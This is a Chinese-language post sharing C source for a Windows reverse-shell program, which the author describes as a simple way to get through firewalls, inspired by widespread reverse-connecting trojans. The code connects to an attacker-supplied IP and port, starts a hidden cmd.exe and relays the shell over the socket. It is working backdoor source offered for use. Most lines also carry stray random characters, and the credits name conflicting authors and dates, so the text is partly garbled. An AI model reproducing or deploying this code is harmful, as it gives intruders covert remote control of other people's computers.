这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =W*`HV-w
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/* ============================== ITlkw~'G
Rebound port in Windows NT YH9]T,
By wind,2006/7 ;}'<`(f&nX
===============================*/ -V<"Ay
#include j)qh>y)
#include {U-EBXV
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#pragma comment(lib,"wsock32.lib") VW`=9T5%@
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void OutputShell(); F
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SOCKET sClient; ~U+'3.Wo
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; s9Z2EjQV
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void main(int argc,char **argv) K.m[S[cy
{ mDfWR
WSADATA stWsaData; ]t;5kj/
int nRet; ]bweQw@i
SOCKADDR_IN stSaiClient,stSaiServer; TeqsP1{?
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if(argc != 3) Mwc3@
{ {2@96o2}
printf("Useage:\n\rRebound DestIP DestPort\n"); _I4sy=tYXK
return; q:.BY}X9
} LWV`xCr8R
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WSAStartup(MAKEWORD(2,2),&stWsaData); =LnAMl#9
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [F EQ@
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stSaiClient.sin_family = AF_INET; gwNkjI=,
stSaiClient.sin_port = htons(0); mu sxX58%
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Zh^w)}(W
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `Cxe`w4
{ ow[qpP[
printf("Bind Socket Failed!\n"); glgk>83I+
return; sc60:IxgI
} Y\sjm]_
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stSaiServer.sin_family = AF_INET; @1@WB]mQQ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); tO3 ;;%
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 063;D+
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) cC.DBYV+-
{ R0}%
printf("Connect Error!"); 1[^d8!U
return; dZmq
} ^ BKr0~4A
OutputShell(); sN2l[Ous
} *cI Xae^Y7
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void OutputShell() ? Q}{&J
{ VIzZmd
char szBuff[1024]; EA.U>5Fq
SECURITY_ATTRIBUTES stSecurityAttributes; &=bI3-
OSVERSIONINFO stOsversionInfo; 2-84
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; |=s3a5sl
STARTUPINFO stStartupInfo; KK</5Aw9p
char *szShell; Vk-_H)*r
PROCESS_INFORMATION stProcessInformation; JB<4m4-
unsigned long lBytesRead; Jiq[VeLe
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^h=kJR9
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7I|Mq
stSecurityAttributes.lpSecurityDescriptor = 0; Sdp1h0E}7=
stSecurityAttributes.bInheritHandle = TRUE; M.xEiHz
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .U_=LV]C
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $hio(
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); o1\8>Ew
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &bQ^J%\
stStartupInfo.wShowWindow = SW_HIDE; 9"S3A EI
stStartupInfo.hStdInput = hReadPipe; Xl;N=fc
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; UB}mI0/w
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GetVersionEx(&stOsversionInfo); hM}2++V
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switch(stOsversionInfo.dwPlatformId) {NR~>=~K-
{ rNc>1}DDS
case 1: 2lRZ/xaF%P
szShell = "command.com"; {y'kwU
break; 9[Mu
default: jLTs1`I/F
szShell = "cmd.exe"; ?3#X5WT
break; srL,9)OC
} STe;Sr&p
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); }_ E
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send(sClient,szMsg,77,0); ']Z8C)tK
while(1) G1rgp>m
{ dkjL;1
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); B_>
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if(lBytesRead) }R^{<{KVJ
{ {`VQL 6(i
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); h.nz kp5
send(sClient,szBuff,lBytesRead,0); x>cu<,e$d\
} @
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else %:lQ ~yn
{ *"@P2F&
lBytesRead=recv(sClient,szBuff,1024,0); v&Kw
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if(lBytesRead<=0) break; 2;/hFwm
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 4y'REC
} ":OXs9Yg
} SPBXI[[-
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return; 2sngi@\
}